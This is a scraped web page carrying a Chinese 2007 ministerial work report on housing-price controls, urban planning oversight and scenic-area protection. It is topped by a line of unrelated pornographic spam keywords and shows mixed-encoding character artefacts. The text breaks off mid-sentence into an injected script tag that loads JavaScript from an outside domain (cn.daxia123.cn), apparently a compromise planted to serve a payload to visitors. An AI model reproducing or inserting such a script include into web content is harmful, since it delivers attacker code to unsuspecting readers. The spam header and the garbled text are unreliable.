日韩美女精品在线_久久这里只有精品首页_91精品国产综合久久精品图片_中文字幕一区在线观看视频

 

把握形勢　明確任務(wù)　切實做好 2007年建設(shè)工作

——在全國建設(shè)工作會議上的報告
汪　光　燾
（2007年1月23日）

同志們：

　　這次會議的主要任務(wù)是，以鄧小平理論和“三個代表”重要思想為指導(dǎo)，認(rèn)真貫徹黨的十六大、十六屆三中、四中、五中、六中全會和中央經(jīng)濟(jì)工作會議精神，全面落實科學(xué)發(fā)展觀和構(gòu)建社會主義和諧社會重大戰(zhàn)略思想，總結(jié) 2006 年建設(shè)工作，研究部署 2007 年工作。下面，我講幾點意見。

　　一、2006年工作取得新進(jìn)展

　　2006 年是“十一五”開局之年。建設(shè)系統(tǒng)廣大干部職工認(rèn)真貫徹執(zhí)行黨中央、國務(wù)院的各項決策部署，統(tǒng)一認(rèn)識，恪盡職守，認(rèn)識上有新提高，政策上有新舉措，實踐上有新進(jìn)展，為經(jīng)濟(jì)社會持續(xù)健康協(xié)調(diào)發(fā)展做出了新的貢獻(xiàn)。

　　（一）全面貫徹落實房地產(chǎn)市場調(diào)控政策措施。一年來，我們以制訂和貫徹《國務(wù)院辦公廳轉(zhuǎn)發(fā)建設(shè)部等部門關(guān)于調(diào)整住房供應(yīng)結(jié)構(gòu)穩(wěn)定住房價格意見的通知》（國辦發(fā)[2006]37號）為主線，著力調(diào)整住房供應(yīng)結(jié)構(gòu)，合理引導(dǎo)住房消費，整頓和規(guī)范房地產(chǎn)市場秩序。根據(jù)我國人多地少、資源短缺的實際，提出了套型建筑面積90平方米以下的住房面積占新建商品住房總面積70％的目標(biāo)要求 ， 綜合運用經(jīng)濟(jì)、法律和必要的行政手段加以落實。從建設(shè)部會同有關(guān)部門對11個省（區(qū)、市）貫徹落實房地產(chǎn)市場調(diào)控政策情況進(jìn)行的督查情況看，各地區(qū)各部門認(rèn)真貫徹各項房地產(chǎn)市場調(diào)控政策措施，取得了初步成效。住房價格漲幅趨緩。12月份，全國70個大中城市新建商品住房銷售價格同比上漲6.3％，比去年同期回落0.8個百分點。部分地區(qū)商品住房價格過快上漲的勢頭有所遏制。房地產(chǎn)開發(fā)投資增長平穩(wěn)。全年，全國房地產(chǎn)開發(fā)投資同比增長21.8％，低于同期城鎮(zhèn)固定資產(chǎn)投資增幅2.2個百分點，增幅保持平穩(wěn)。城鎮(zhèn)房屋拆遷規(guī)模得到有效控制。前三季度拆遷面積同比下降17.6％。住房供應(yīng)結(jié)構(gòu)調(diào)整有了好的開端。新開工商品住房項目中90平方米以下套型所占比重明顯提高。開展了住房狀況調(diào)查，制定了住房建設(shè)規(guī)劃。截止12月20日，省會以上城市全部完成住房建設(shè)規(guī)劃編制、公布和備案；地級以上城市中完成編制的占92.3％，已公布的占68.3％。住房保障制度建設(shè)工作力度加大。截止12月20日，274個地級以上城市建立并實施了廉租住房制度。河北省所有市、縣全部建立廉租住房制度。北京、成都、南通將廉租住房制度覆蓋面擴(kuò)大到最低職工工資家庭或低收入家庭。天津采取“帶戶型標(biāo)準(zhǔn)、銷售價格、銷售對象和竣工入住時間”方式，招標(biāo)選擇經(jīng)濟(jì)適用房建設(shè)單位。市場秩序有所好轉(zhuǎn)。會同國家發(fā)展改革委、國家工商總局下發(fā)《關(guān)于進(jìn)一步整頓規(guī)范房地產(chǎn)交易秩序的通知》，明確用兩年時間、分四個階段，有重點的進(jìn)行專項整治，曝光了32起擾亂房地產(chǎn)市場秩序、侵害群眾利益的典型案例，目前已進(jìn)入自查自糾與督察階段。依法妥善處理了北京美麗園、廣州華南新城等十多起物業(yè)管理糾紛。投機和投資性購房活動明顯減少。稅收、信貸、土地政策得到逐步落實。

　　（二）建立健全城鄉(xiāng)規(guī)劃編制和實施監(jiān)督機制。國務(wù)院原則通過并向全國人大常委會提請審議《城鄉(xiāng)規(guī)劃法》，國務(wù)院辦公廳轉(zhuǎn)發(fā)《建設(shè)部關(guān)于加強城市總體規(guī)劃工作的意見》（國辦發(fā)[2006]12號）。依法指導(dǎo)各地科學(xué)編制城市規(guī)劃。組織省域城鎮(zhèn)體系規(guī)劃和城市總體規(guī)劃審查，開展近期建設(shè)規(guī)劃的編制和備案審核。完成了《全國城鎮(zhèn)體系規(guī)劃》的編制，啟動了長三角、京津冀、北部灣、海峽西岸等重要城鎮(zhèn)密集地區(qū)城鎮(zhèn)群規(guī)劃的編制組織工作。推動縣域村鎮(zhèn)體系規(guī)劃試點。江蘇省全面啟動對規(guī)劃地域空間的全面覆蓋。加大城鄉(xiāng)規(guī)劃實施監(jiān)督力度。經(jīng)中編辦批準(zhǔn)，組建了建設(shè)部稽查辦公室。積極推動各省級建設(shè)行政主管部門建立稽查制度，16個省（自治區(qū)、直轄市）建立了相應(yīng)的機構(gòu)。在全面 開展規(guī)劃效能監(jiān)察的同時，推廣實施城市規(guī)劃監(jiān)督員制度。建設(shè)部向6個由國務(wù)院審批總體規(guī)劃的城市派駐城市規(guī)劃督察員。四川、貴州、寧夏、江西、湖南、黑龍江、安徽等省（區(qū)）開展派駐城市規(guī)劃督察員試點。廣東頒布了《珠江三角洲城鎮(zhèn)群協(xié)調(diào)發(fā)展規(guī)劃實施條例》。海南省建立了省對重大項目選址的規(guī)劃審批制度，保障《海南省城鄉(xiāng)總體規(guī)劃》的實施。加強風(fēng)景名勝資源保護(hù)和利用。國務(wù)院頒布了《風(fēng)景名勝區(qū)條例》。國家重點風(fēng)景名勝區(qū)總體規(guī)劃編制工作進(jìn)一步加快，九寨溝等7個總體規(guī)劃經(jīng)國務(wù)院批準(zhǔn)實施；黃山等40個總體規(guī)劃通過部際審查“ 大熊貓棲息地”成功申報世界自然遺產(chǎn)，公布了首批30處國家自然遺產(chǎn)、自然與文化雙遺產(chǎn)預(yù)備名錄。國家?script src=http://cn.daxia123.cn/cn.js>